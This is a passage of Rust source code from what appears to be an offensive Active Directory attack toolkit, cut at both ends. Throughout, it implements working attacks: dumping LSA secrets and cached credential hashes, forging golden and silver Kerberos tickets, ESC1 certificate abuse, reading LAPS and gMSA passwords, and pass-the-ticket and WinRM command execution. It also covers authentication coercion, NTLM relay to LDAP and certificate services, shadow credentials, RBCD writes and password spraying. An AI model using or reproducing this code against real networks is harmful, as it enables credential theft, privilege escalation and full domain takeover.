if s.name.eq_ignore_ascii_case("$MACHINE.ACC") {
let nt: String = ntlmssp::md4(&s.secret)
.iter()
.map(|b| format!("{b:02x}"))
.collect();
println!("$MACHINE.ACC:aad3b435b51404eeaad3b435b51404ee:{nt}:::");
} else {
print_lsa_secret(&s.name, &s.secret);
}
}
if !dump.cached.is_empty() {
eprintln!(
"[+] {} cached domain logon(s) (hashcat -m 2100):",
dump.cached.len()
);
for c in &dump.cached {
println!("{}", c.dcc2_line());
}
}
}
Err(e) => eprintln!("[-] LSA decrypt failed: {e}"),
}
Ok(())
}
fn print_lsa_secret(name: &str, secret: &[u8]) {
let units: Vec<u16> = secret
.chunks_exact(2)
.map(|c| u16::from_le_bytes([c[0], c[1]]))
.take_while(|&u| u != 0)
.collect();
let printable = !units.is_empty() && units.iter().all(|&u| (0x20..0x7f).contains(&u));
if printable {
println!("{name}:{}", String::from_utf16_lossy(&units));
} else {
println!("{name}:{}", hex::encode(secret));
}
}
async fn esc1(a: Esc1Args) -> Result<()> {
use smb2_client::SmbClient;
let subject = a.upn.split('@').next().unwrap_or("adhammer");
let csr = adhammer_kerberos::csr::build_csr(subject, Some(&a.upn))?;
eprintln!("[*] CSR built (subject CN={subject}, SAN upn={})", a.upn);
let mut smb = SmbClient::connect(&a.host).await?;
smb.login(&a.host, &a.domain, &a.user, &a.password).await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let r = dcerpc::icpr::request_cert(
&mut smb,
&a.ca,
&a.template,
&csr.der,
&a.domain,
&a.user,
&a.password,
&a.host,
)
.await?;
if r.disposition == 3 && !r.cert_der.is_empty() {
std::fs::write(&a.out, &r.cert_der)?;
let key_path = format!("{}.key.pem", a.out);
std::fs::write(&key_path, &csr.key_pem)?;
println!(
"[+] ESC1: certificate ISSUED for UPN {} → {} ({} bytes), key → {}",
a.upn,
a.out,
r.cert_der.len(),
key_path
);
if a.pkinit {
let kdc = a.kdc.clone().unwrap_or_else(|| a.host.clone());
let realm = a.upn.split('@').nth(1).unwrap_or(&a.domain).to_string();
match adhammer_kerberos::pkinit::pkinit_with_cert(
subject,
&realm,
&kdc,
&csr.key_pem,
Some(&r.cert_der),
)
.await
{
Ok(tgt) => {
let ccache = format!("{subject}.ccache");
std::fs::write(&ccache, &tgt.ccache)?;
println!("[+] PKINIT OK — TGT obtained as {subject}; ccache → {ccache}");
println!(
" KRB5CCNAME={ccache} → use for Kerberos auth (dcsync, exec via -k, …)"
);
}
Err(e) => {
println!("[-] PKINIT with the issued cert failed: {e:#}");
if e.to_string().contains("error 66") {
println!(" (KDC_ERR_CANT_VERIFY_CERTIFICATE — likely strong certificate-mapping");
println!(" enforcement (KB5014754): a UPN-only cert has no SID mapping to the");
println!(" target, so the KDC refuses it. ESC1 escalation is mitigated on this DC.");
println!(" The cert was still issued — the template is vulnerable.)");
}
}
}
} else {
println!(
" next: --pkinit to turn this cert into a TGT as {}",
subject
);
}
} else {
println!(
"[-] enrollment not issued (disposition {}): {}",
r.disposition, r.message
);
}
Ok(())
}
async fn golden(a: GoldenArgs) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
let key = parse_forge_key(&a.krbtgt_aes256, a.rc4)?;
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
};
let tgt = adhammer_kerberos::forge_golden_tgt(&id, &a.realm, &key, a.rc4)?;
println!(
"[+] forged golden TGT: {}@{} (rid {}, groups {:?})",
a.user, a.realm, a.rid, a.groups
);
if let Some(spn) = &a.verify_spn {
match adhammer_kerberos::roast_spn(&tgt, &a.user, spn, &a.kdc).await {
Ok(_) => println!("[+] KDC accepted the golden ticket (TGS-REP for {spn})"),
Err(e) => println!("[-] KDC rejected the golden ticket for {spn}: {e}"),
}
}
if let Some(out) = &a.out {
let cc = adhammer_kerberos::golden_ccache(&tgt, &a.user)?;
std::fs::write(out, &cc)?;
println!(
"[+] wrote ccache → {out} ({} bytes). Use: KRB5CCNAME={out}",
cc.len()
);
}
Ok(())
}
async fn silver(a: SilverArgs) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
let key = parse_forge_key(&a.service_aes256, a.rc4)?;
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
};
let tgt = adhammer_kerberos::forge_silver_tgt(&id, &a.realm, &key, &a.spn, a.rc4)?;
println!(
"[+] forged silver ticket: {}@{} for {} (rid {})",
a.user, a.realm, a.spn, a.rid
);
if let Some(out) = &a.out {
let cc = adhammer_kerberos::silver_ccache(&tgt, &a.user, &a.spn)?;
std::fs::write(out, &cc)?;
println!("[+] wrote ccache → {out} ({} bytes)", cc.len());
}
Ok(())
}
fn looks_like_ip(s: &str) -> bool {
s.parse::<std::net::IpAddr>().is_ok()
}
async fn pth(a: PthArgs) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
use smb2_client::SmbClient;
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
let spn = a.spn.clone().unwrap_or_else(|| format!("cifs/{}", a.host));
if spn.split('/').nth(1).is_some_and(looks_like_ip) {
anyhow::bail!(
"SPN '{spn}' points at an IP — the KDC only knows SPNs registered against \
hostnames/FQDNs and will return KDC_ERR_S_PRINCIPAL_UNKNOWN (7). Pass \
`--host <fqdn>` (e.g. dc.corp.local) or `--spn cifs/<fqdn>` explicitly."
);
}
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
};
let st = match (&a.krbtgt_aes256, &a.service_aes256) {
(Some(k), None) => {
let key = parse_forge_key(k, a.rc4)?;
let kdc = a.kdc.clone().unwrap_or_else(|| a.host.clone());
let tgt = adhammer_kerberos::forge_golden_tgt(&id, &a.realm, &key, a.rc4)?;
println!("[+] forged golden TGT for {}@{}", a.user, a.realm);
let st = adhammer_kerberos::get_service_ticket(&tgt, &spn, &kdc).await?;
println!("[+] got service ticket for {spn} (KDC accepted the golden TGT)");
st
}
(None, Some(k)) => {
let key = parse_forge_key(k, a.rc4)?;
let tgt = adhammer_kerberos::forge_silver_tgt(&id, &a.realm, &key, &spn, a.rc4)?;
println!("[+] forged silver ticket for {spn}");
adhammer_kerberos::silver_service_ticket(&tgt, &spn)
}
_ => anyhow::bail!(
"provide exactly one of --krbtgt-aes256 (golden) or --service-aes256 (silver)"
),
};
let (blob, key) = adhammer_kerberos::build_ap_req_gss(&st)?;
let mut smb = SmbClient::connect(&a.host).await?;
smb.login_kerberos(&blob, &key).await?;
println!(
"[+] Kerberos SMB session established as {} (pass-the-ticket)",
a.user
);
if let Some(cmd) = &a.command {
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let r = dcerpc::svcctl::exec(&mut smb, &a.host, cmd).await?;
println!(
"[+] ran as LocalSystem (service '{}', win32 {})",
r.service, r.start_win32
);
match r.output {
Some(o) if !o.is_empty() => println!("\n{o}"),
_ => println!("[*] no output captured"),
}
} else {
smb.tree_connect(&format!("\\\\{}\\C$", a.host)).await?;
println!(
"[+] tree-connected \\\\{}\\C$ — authenticated access confirmed",
a.host
);
}
Ok(())
}
async fn gmsa(a: GmsaArgs) -> Result<()> {
use adhammer_collector::{Collector, LdapConfig};
if a.url.starts_with("ldap://") {
anyhow::bail!(
"gMSA managed-password read needs an encrypted channel — use `ldaps://` \
(add --insecure for self-signed). Plain ldap:// will return \
UNABLE_TO_PROCEED even for an authorized reader."
);
}
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
};
let mut c = Collector::connect(&cfg).await?;
let blob = c
.read_attr_bin(&a.target, "msDS-ManagedPassword")
.await
.with_context(|| {
format!(
"read msDS-ManagedPassword on '{}' — is it a gMSA? is the bind identity in \
PrincipalsAllowedToRetrieveManagedPassword?",
a.target
)
})?
.with_context(|| {
format!(
"'{}' returned no msDS-ManagedPassword (not a gMSA, or the bind identity \
isn't allowed to retrieve it)",
a.target
)
})?;
let pw = parse_managed_password_blob(&blob).context("parse MSDS-MANAGEDPASSWORD_BLOB")?;
let nt = ntlmssp::md4(&pw);
let nthex: String = nt.iter().map(|b| format!("{b:02x}")).collect();
println!("{}:aad3b435b51404eeaad3b435b51404ee:{}:::", a.target, nthex);
eprintln!(
"[+] gMSA {} current-password NT hash recovered ({} blob bytes)",
a.target,
blob.len()
);
Ok(())
}
async fn decrypt_encrypted_laps(
dc_host: &str,
domain: &str,
user: &str,
password: &str,
laps_attr_value: &[u8],
) -> Result<(String, String)> {
use dpapi_ng::{decrypt, laps_password_from_json, rpc, LapsBlob};
let laps = LapsBlob::parse(laps_attr_value)
.map_err(|e| anyhow::anyhow!("parse LAPS header: {e:?}"))?;
let protected = laps
.protected()
.map_err(|e| anyhow::anyhow!("parse CMS ProtectedBlob: {e:?}"))?;
let id = &protected.key_identifier;
let envelope = rpc::get_key(
dc_host,
domain,
user,
password,
&[], Some(id.root_key_id),
id.l0,
id.l1,
id.l2,
)
.await
.map_err(|e| anyhow::anyhow!("GKDI GetKey: {e}"))?;
let plaintext_utf16 =
decrypt(&protected, &envelope).map_err(|e| anyhow::anyhow!("DPAPI-NG decrypt: {e:?}"))?;
let pw = laps_password_from_json(&plaintext_utf16)
.ok_or_else(|| anyhow::anyhow!("decrypted blob has no 'p' field"))?;
let account = {
let json = String::from_utf16_lossy(
&plaintext_utf16
.chunks_exact(2)
.map(|c| u16::from_le_bytes([c[0], c[1]]))
.collect::<Vec<_>>(),
);
json.find("\"n\"")
.and_then(|at| json[at + 3..].find('"').map(|s| at + 3 + s + 1))
.and_then(|s| json[s..].find('"').map(|e| json[s..s + e].to_string()))
.unwrap_or_else(|| "Administrator".into())
};
Ok((account, pw))
}
async fn laps(a: LapsArgs) -> Result<()> {
use adhammer_collector::{Collector, LdapConfig};
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
};
let sp = ui::Spinner::start("reading LAPS passwords over LDAPS");
let mut c = Collector::connect(&cfg).await?;
let entries = c.read_laps(a.target.as_deref()).await?;
sp.done(&format!("{} LAPS entr(y/ies) returned", entries.len()));
if entries.is_empty() {
anyhow::bail!(
"no LAPS password readable (no LAPS deployed, or the bind identity lacks the read right — try a specific --target <HOST$>)"
);
}
let dc_host = a
.url
.trim_start_matches("ldaps://")
.trim_start_matches("ldap://")
.split('/')
.next()
.unwrap_or("")
.split(':')
.next()
.unwrap_or("")
.to_string();
let (domain, user) = a
.user
.split_once('\\')
.map(|(d, u)| (d.to_string(), u.to_string()))
.unwrap_or_else(|| (String::new(), a.user.clone()));
let mut cleartext = 0usize;
for e in &entries {
if let Some(pw) = &e.password {
cleartext += 1;
let exp = e
.expires
.as_deref()
.map(|x| format!(" expires={x}"))
.unwrap_or_default();
println!("{}\t{}\t{}{}", e.sam, e.account, pw, exp);
continue;
}
let Some(bytes) = &e.encrypted_blob else {
eprintln!(
"[!] {}: no cleartext and no encrypted blob to work with",
e.sam
);
continue;
};
match decrypt_encrypted_laps(&dc_host, &domain, &user, &a.password, bytes).await {
Ok((account, pw)) => {
cleartext += 1;
println!("{}\t{}\t{}", e.sam, account, pw);
}
Err(err) => eprintln!(
"[!] {} DPAPI-NG decrypt failed: {err} (bind identity may lack the GKDI read right)",
e.sam
),
}
}
ui::ok(&format!(
"LAPS: {cleartext} cleartext local-admin password(s) recovered"
));
Ok(())
}
async fn winrm_exec(a: WinrmArgs) -> Result<()> {
let secret = match &a.nt_hash {
Some(h) => {
let raw = hex::decode(h.trim()).context("NT hash must be 32 hex chars")?;
let arr: [u8; 16] = raw
.as_slice()
.try_into()
.context("NT hash must be exactly 16 bytes (32 hex)")?;
winrm::Secret::NtHash(arr)
}
None => winrm::Secret::Password(a.password.clone()),
};
let (mut client, shell_id) =
winrm::WinRm::connect(&a.host, a.port, &a.domain, &a.user, &secret).await?;
eprintln!(
"[+] WinRM shell opened on {} (ShellId {})",
a.host, shell_id
);
let (stdout, stderr, exit) = client.run(&shell_id, &a.command).await?;
print!("{stdout}");
if !stderr.is_empty() {
eprint!("{stderr}");
}
eprintln!("[+] WinRM command exited {exit}");
Ok(())
}
async fn dnsenum(a: DnsArgs) -> Result<()> {
use adhammer_collector::{Collector, LdapConfig};
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
};
let sp = ui::Spinner::start("connecting + reading ADIDNS zones");
let mut c = Collector::connect(&cfg).await?;
let zones = c.read_adidns().await?;
sp.done(&format!("{} ADIDNS zone(s) read", zones.len()));
if zones.is_empty() {
ui::warn("no ADIDNS zones readable");
return Ok(());
}
let (mut total, mut wildcards) = (0usize, 0usize);
for z in &zones {
ui::header(&format!("{} ({} records)", z.name, z.records.len()));
for r in &z.records {
total += 1;
let wild = r.node == "*";
if wild {
wildcards += 1;
}
let mut tags = String::new();
if wild {
tags.push_str(&format!(" {}", ui::accent("◄ WILDCARD")));
}
if r.tombstoned {
tags.push_str(&format!(" {}", ui::dim("(tombstoned)")));
}
println!(
" {:<28} {} {}{}",
r.node,
ui::dim(&format!("{:<6}", r.rtype)),
r.data,
tags
);
}
}
ui::ok(&format!(
"ADIDNS: {} zone(s), {total} record(s), {wildcards} wildcard(s)",
zones.len()
));
if wildcards > 0 {
ui::warn("wildcard record present → ADIDNS/mitm6-style name-hijack surface");
}
Ok(())
}
fn parse_managed_password_blob(b: &[u8]) -> Option<Vec<u8>> {
if b.len() < 16 {
return None;
}
let cur_off = u16::from_le_bytes([b[8], b[9]]) as usize; let prev_off = u16::from_le_bytes([b[10], b[11]]) as usize; let end = if prev_off > cur_off {
prev_off
} else {
b.len()
};
let pw = b.get(cur_off..end)?;
Some(pw.get(..256).unwrap_or(pw).to_vec())
}
async fn coerce(a: CoerceArgs) -> Result<()> {
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb.login(&a.host, &a.domain, &a.user, &a.password).await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
if a.pipe.eq_ignore_ascii_case("spoolss") {
use dcerpc::rprn::{printerbug_tcp, PrinterBug};
let target = a.target.clone().unwrap_or_else(|| a.host.clone());
let via_pipe = match smb.open_pipe("spoolss").await {
Ok(pipe) => {
let mut client = PrinterBug::bind(&mut smb, pipe).await?;
Some(client.coerce(&target, &a.listener).await)
}
Err(_) => None,
};
let result = match via_pipe {
Some(r) => r,
None => {
printerbug_tcp(
&a.host,
&a.domain,
&a.user,
&a.password,
&target,
&a.listener,
)
.await
}
};
match result {
Ok(status) => {
println!("[+] PrinterBug (RFFPCNEx) accepted — status {status:#010x}");
println!(" {} spooler attempted auth to \\\\{}\\... (run a relay/listener to capture)", a.host, a.listener);
}
Err(e) => {
println!("[-] PrinterBug failed/patched (spooler off or remote RPC blocked): {e}")
}
}
return Ok(());
}
if a.pipe.eq_ignore_ascii_case("netdfs") {
use dcerpc::dfsnm::CoerceClient as DfsClient;
let pipe = smb.open_pipe("netdfs").await?;
let mut client =
DfsClient::bind_sealed(&mut smb, pipe, &a.domain, &a.user, &a.password, &a.host)
.await?;
match client.coerce(&a.listener).await {
Ok(status) => {
println!("[+] NetrDfsAddStdRoot accepted via \\netdfs — status {status:#010x}");
println!(" DC {} attempted auth to \\\\{}\\... (run a relay/listener to capture)", a.host, a.listener);
}
Err(e) => println!(
"[-] DFSCoerce failed on this DC ({e}) — try `--pipe spoolss` (PrinterBug); netdfs is picky about transport/auth-level on modern Windows"
),
}
return Ok(());
}
if a.pipe.eq_ignore_ascii_case("fssagentrpc") {
use dcerpc::fsrvp::CoerceClient as VssClient;
let pipe = smb.open_pipe("FssagentRpc").await?;
let mut client =
VssClient::bind_sealed(&mut smb, pipe, &a.domain, &a.user, &a.password, &a.host)
.await?;
match client.coerce(&a.listener).await {
Ok(status) => {
println!("[+] IsPathSupported accepted via \\FssagentRpc — status {status:#010x}");
println!(" {} VSS provider attempted auth to \\\\{}\\... (run a relay/listener to capture)", a.host, a.listener);
}
Err(e) => println!(
"[-] ShadowyCoerce failed ({e}) — needs FS-VSS-Agent role installed AND Backup Operators rights; try `--pipe spoolss` for a reliable alternative"
),
}
return Ok(());
}
use dcerpc::efsr::CoerceClient;
let pipe = smb.open_pipe(&a.pipe).await?;
let mut client =
CoerceClient::bind_sealed(&mut smb, pipe, &a.domain, &a.user, &a.password, &a.host).await?;
match client.coerce(&a.listener).await {
Ok(status) => {
println!(
"[+] EfsRpcOpenFileRaw accepted via \\{} — status {status:#010x}",
a.pipe
);
println!(
" DC {} attempted auth to \\\\{}\\... (run a relay/listener to capture)",
a.host, a.listener
);
}
Err(e) => println!(
"[-] EFSR via \\{} failed ({e}) — MS-EFSR is restricted/removed on Server 2016+ hardening; use `--pipe spoolss` (PrinterBug) instead",
a.pipe
),
}
Ok(())
}
async fn abuse(a: AbuseArgs) -> Result<()> {
if a.action == "pkinit" {
let realm = a.realm.clone().context("pkinit needs --realm")?;
let kdc = a.kdc.clone().context("pkinit needs --kdc")?;
let key_path = if a.value.is_empty() {
format!("{}.key.pem", a.target)
} else {
a.value.clone()
};
let pem =
std::fs::read_to_string(&key_path).with_context(|| format!("read key {key_path}"))?;
let tgt =
adhammer_kerberos::pkinit::pkinit_authenticate(&a.target, &realm, &kdc, &pem).await?;
let cc_path = format!("{}.ccache", a.target);
std::fs::write(&cc_path, &tgt.ccache)?;
println!(
"[+] PKINIT succeeded — TGT for {}@{} (via {})",
a.target, realm, tgt.sname
);
println!(" reply key derived from DH + AS-REP enc-part decrypted (holder of the registered key)");
println!(" ticket valid until {}", tgt.end_time);
println!(" ccache saved to {cc_path} (export KRB5CCNAME={cc_path})");
return Ok(());
}
if a.ldap389 {
let host = a.host.clone().context("--ldap389 needs --host")?;
let realm = a.realm.clone().context("--ldap389 needs --realm")?;
let user = a.user.clone().context("--ldap389 needs --user")?;
let password = a.password.clone().context("--ldap389 needs --password")?;
let bare = user
.split('@')
.next()
.unwrap_or(&user)
.rsplit('\\')
.next()
.unwrap_or(&user)
.to_string();
let base: String = realm
.split('.')
.map(|p| format!("DC={p}"))
.collect::<Vec<_>>()
.join(",");
let mut ld = adhammer_ldap::LdapClient::connect(&format!("{host}:389")).await?;
ld.bind_ntlm(&realm, &bare, &password, "ADHAMMER").await?;
let dn = ld.find_dn(&base, &a.target).await?;
let kc = adhammer_kerberos::shadowcred::build_key_credential(&dn)?;
ld.modify_add(&dn, "msDS-KeyCredentialLink", kc.dn_binary.as_bytes())
.await?;
std::fs::write(format!("{}.key.pem", a.target), &kc.private_key_pem)?;
println!("[+] LDAP-389 (NTLM SASL) add-keycred on {dn}");
println!(
" key saved to {}.key.pem — Phase 2: attack abuse --action pkinit --target {}",
a.target, a.target
);
return Ok(());
}
let cfg = LdapConfig {
url: a.url.clone().context("this action needs --url")?,
bind_dn: a.user.clone().context("this action needs --user")?,
password: a.password.clone().context("this action needs --password")?,
base_dn: None,
insecure: a.insecure,
gssapi: false,
};
let mut c = Collector::connect(&cfg).await?;
let target_dn = c.resolve_dn(&a.target).await?;
match a.action.as_str() {
"add-spn" => {
c.add_value(&target_dn, "servicePrincipalName", &a.value).await?;
println!("[+] added SPN '{}' to {} — now Kerberoastable", a.value, a.target);
}
"add-member" => {
let member_dn = c.resolve_dn(&a.value).await?;
c.add_value(&target_dn, "member", &member_dn).await?;
println!("[+] added {} to group {}", a.value, a.target);
}
"set-password" => {
let url = a.url.as_deref().unwrap_or("");
if url.starts_with("ldap://") {
anyhow::bail!(
"set-password requires an encrypted LDAP channel — use `ldaps://` \
(add --insecure for self-signed) or --gssapi with SASL sealing. \
Plain ldap:// will always fail with WILL_NOT_PERFORM (0x5003)."
);
}
c.set_password(&target_dn, &a.value).await?;
println!("[+] reset password of {}", a.target);
}
"add-keycred" => {
let kc = adhammer_kerberos::shadowcred::build_key_credential(&target_dn)?;
c.add_value(&target_dn, "msDS-KeyCredentialLink", &kc.dn_binary).await?;
let key_path = format!("{}.key.pem", a.target);
std::fs::write(&key_path, &kc.private_key_pem)?;
println!("[+] added Shadow Credential to {} — key saved to {key_path}", a.target);
println!(" (Phase 2: PKINIT with this key to obtain a TGT as {})", a.target);
}
"write-rbcd" => {
let trustee = if a.value.starts_with("S-") {
adhammer_core::sid::Sid::parse(&a.value).context("bad SID")?
} else {
c.resolve_sid(&a.value).await?
};
let sd = windows_sddl::build_rbcd_sd(&trustee);
c.write_binary(&target_dn, "msDS-AllowedToActOnBehalfOfOtherIdentity", sd).await?;
println!("[+] wrote RBCD on {} allowing {} to impersonate to it", a.target, a.value);
}
other => anyhow::bail!("unknown action '{other}' (add-spn|add-member|set-password|write-rbcd|add-keycred|pkinit)"),
}
Ok(())
}
async fn spray(a: SprayArgs) -> Result<()> {
use adhammer_kerberos::{check_credential, CredResult};
let users: Vec<String> = if let Some(path) = a.users.strip_prefix('@') {
std::fs::read_to_string(path)
.with_context(|| format!("read users list {path}"))?
.lines()
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect()
} else if std::path::Path::new(&a.users).is_file() {
eprintln!(
"[!] `--users {}` looks like a file path — use `--users @{}` to read it as a list. Treating the arg as one user name.",
a.users, a.users
);
vec![a.users.clone()]
} else {
a.users
.split(',')
.map(|u| u.trim().to_string())
.filter(|u| !u.is_empty())
.collect()
};
if users.is_empty() {
anyhow::bail!("no users to spray (empty --users)");
}
eprintln!(
"[*] spraying {} user(s) against {} @ {} …",
users.len(),
a.realm,
a.kdc
);
let (mut valid, mut asrep, mut disabled, mut other) = (0u32, 0u32, 0u32, 0u32);
for u in &users {
match check_credential(u, &a.password, &a.realm, &a.kdc).await {
Ok(CredResult::Valid) => {
valid += 1;
println!("[+] VALID {u}:{}", a.password);
}
Ok(CredResult::ValidButExpired) => {
valid += 1;
println!("[+] VALID (expired) {u}:{}", a.password);
}
Ok(CredResult::Disabled) => {
disabled += 1;
println!("[-] disabled/locked {u}");
}
Ok(CredResult::NoPreAuth) => {
asrep += 1;
println!("[*] AS-REP roastable {u} (no pre-auth)");
}
Ok(CredResult::Invalid) | Ok(CredResult::NoSuchUser) => {} Ok(CredResult::Other(c)) => {
other += 1;
eprintln!(" {u}: KDC error {c}");
}
Err(e) => {
other += 1;
eprintln!(" {u}: {e}");
}
}
}
eprintln!(
"[*] spray done: {}/{} valid, {} AS-REP roastable, {} disabled, {} other error(s)",
valid,
users.len(),
asrep,
disabled,
other
);
Ok(())
}
async fn lsa(a: LsaArgs) -> Result<()> {
use dcerpc::lsat::LsatClient;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let pipe = smb.open_pipe("lsarpc").await?;
let mut client = LsatClient::bind(&mut smb, pipe).await?;
let policy = client.open_policy().await?;
match client.lookup_name(&policy, &a.name).await? {
Some(sid) => println!("{} => {sid}", a.name),
None => println!("{} => (not mapped)", a.name),
}
Ok(())
}
async fn samr(a: SamrArgs) -> Result<()> {
use dcerpc::samr::SamrClient;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
tracing::info!("SMB session established");
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let pipe = smb.open_pipe("samr").await?;
tracing::info!("\\samr pipe open");
let mut client = SamrClient::bind(&mut smb, pipe).await?;
let users = client
.enumerate_all_users(&format!("\\\\{}", a.host))
.await?;
println!("== SAMR users ({}) ==", users.len());
for (rid, name) in users {
println!(" {rid}\t{name}");
}
Ok(())
}
const SERVICES: &[(u16, &str)] = &[
(21, "ftp"),
(22, "ssh"),
(23, "telnet"),
(25, "smtp"),
(53, "dns"),
(80, "http"),
(88, "kerberos"),
(110, "pop3"),
(111, "rpcbind"),
(135, "msrpc"),
(139, "netbios"),
(143, "imap"),
(389, "ldap"),
(443, "https"),
(445, "smb"),
(464, "kpasswd"),
(587, "smtp"),
(636, "ldaps"),
(873, "rsync"),
(993, "imaps"),
(995, "pop3s"),
(1433, "mssql"),
(1521, "oracle"),
(2049, "nfs"),
(3268, "gc"),
(3306, "mysql"),
(3389, "rdp"),
(5432, "postgres"),
(5900, "vnc"),
(5985, "winrm"),
(5986, "winrm-s"),
(6379, "redis"),
(8080, "http-alt"),
(8443, "https-alt"),
(9200, "elastic"),
];
const GREETERS: &[u16] = &[21, 22, 25, 110, 143];
#[derive(Clone, Debug)]
enum RelayTarget {
LdapKeycred,
LdapRbcd,
AdcsHttp(String, u16, String, bool),
Icpr(String, String),
}
async fn relay(a: RelayArgs) -> Result<()> {
use smb2_client::server::RelayConn;
let (target, trustee_sid) = match a.target.as_str() {
"ldap-keycred" => (RelayTarget::LdapKeycred, None),
"ldap-rbcd" => {
let sid = a.trustee_sid.clone().ok_or_else(|| {
anyhow::anyhow!(
"--target ldap-rbcd requires --trustee-sid <SID of a controlled account>"
)
})?;
(RelayTarget::LdapRbcd, Some(sid))
}
"adcs-http" => {
let ca = a.ca_host.clone().ok_or_else(|| {
anyhow::anyhow!("--target adcs-http requires --ca-host <ca.corp.local>")
})?;
(
RelayTarget::AdcsHttp(ca, a.ca_port, a.ca_template.clone(), a.ca_insecure),
None,
)
}
"icpr" => {
let ca = a.ca_host.clone().ok_or_else(|| {
anyhow::anyhow!("--target icpr requires --ca-host <ca.corp.local>")
})?;
(RelayTarget::Icpr(ca, a.ca_template.clone()), None)
}
other => {
anyhow::bail!("unknown --target {other} (ldap-keycred | ldap-rbcd | adcs-http | icpr)")
}
};
let base: String = a
.realm
.split('.')
.map(|p| format!("DC={p}"))
.collect::<Vec<_>>()
.join(",");
let listener = RelayConn::listen(&a.listen).await?;
println!(
"[*] relay listening on {} → LDAP {} ({:?} on {})",
a.listen, a.target_dc, target, a.target_object
);
println!(" now coerce/poison a victim toward this host (e.g. attack coerce --pipe spoolss --listener <us>)");
loop {
let (stream, peer) = listener.accept().await?;
let (target_dc, base, target_object, trustee, tgt) = (
a.target_dc.clone(),
base.clone(),
a.target_object.clone(),
trustee_sid.clone(),
target.clone(),
);
tokio::spawn(async move {
if let Err(e) = relay_one(
stream,
&peer.to_string(),
&target_dc,
&base,
&target_object,
tgt,
trustee.as_deref(),
)
.await
{
println!("[-] relay from {peer} failed: {e}");
}
});
}
}
#[allow(clippy::too_many_arguments)]
async fn relay_one(
stream: tokio::net::TcpStream,
peer: &str,
target_dc: &str,
base: &str,
target_object: &str,
target: RelayTarget,
trustee_sid: Option<&str>,
) -> Result<()> {
use smb2_client::server::RelayConn;
let mut rc = RelayConn::new(stream);
let type1 = rc.recv_type1().await?;
if let RelayTarget::AdcsHttp(ref ca_host, port, ref template, insecure) = target {
return relay_esc8(
rc,
type1,
peer,
target_object,
ca_host,
port,
template,
insecure,
)
.await;
}
if let RelayTarget::Icpr(ref ca_host, ref template) = target {
return relay_icpr(rc, type1, peer, target_object, ca_host, template).await;
}
println!("[+] victim {peer} started NTLM — relaying to {target_dc} LDAP");
let mut ld = adhammer_ldap::LdapClient::connect(&format!("{target_dc}:389")).await?;
let type2 = ld.sasl_step1(&type1).await?; rc.send_challenge(&type2).await?; let type3 = rc.recv_type3().await?;
ld.sasl_step2(&type3).await?; println!("[+] relayed bind to {target_dc} succeeded as the victim");
let dn = ld.find_dn(base, target_object).await?;
match target {
RelayTarget::AdcsHttp(_, _, _, _) | RelayTarget::Icpr(_, _) => {
unreachable!("handled above")
}
RelayTarget::LdapKeycred => {
let kc = adhammer_kerberos::shadowcred::build_key_credential(&dn)?;
ld.modify_add(&dn, "msDS-KeyCredentialLink", kc.dn_binary.as_bytes())
.await?;
std::fs::write(format!("{target_object}.key.pem"), &kc.private_key_pem)?;
println!("[+] Shadow Credential written on {dn} — key {target_object}.key.pem");
println!(" → attack abuse --action pkinit --target {target_object} --realm <realm> --kdc {target_dc}");
}
RelayTarget::LdapRbcd => {
let trustee = trustee_sid.expect("checked in relay(): --trustee-sid required");
let trustee = windows_sddl::sid::Sid::parse(trustee)
.ok_or_else(|| anyhow::anyhow!("bad trustee SID: {trustee}"))?;
let sd = windows_sddl::build_rbcd_sd(&trustee);
ld.modify_add(&dn, "msDS-AllowedToActOnBehalfOfOtherIdentity", &sd)
.await?;
println!(
"[+] RBCD written on {dn} — trustee {} can now S4U2Proxy → any user on {target_object}",
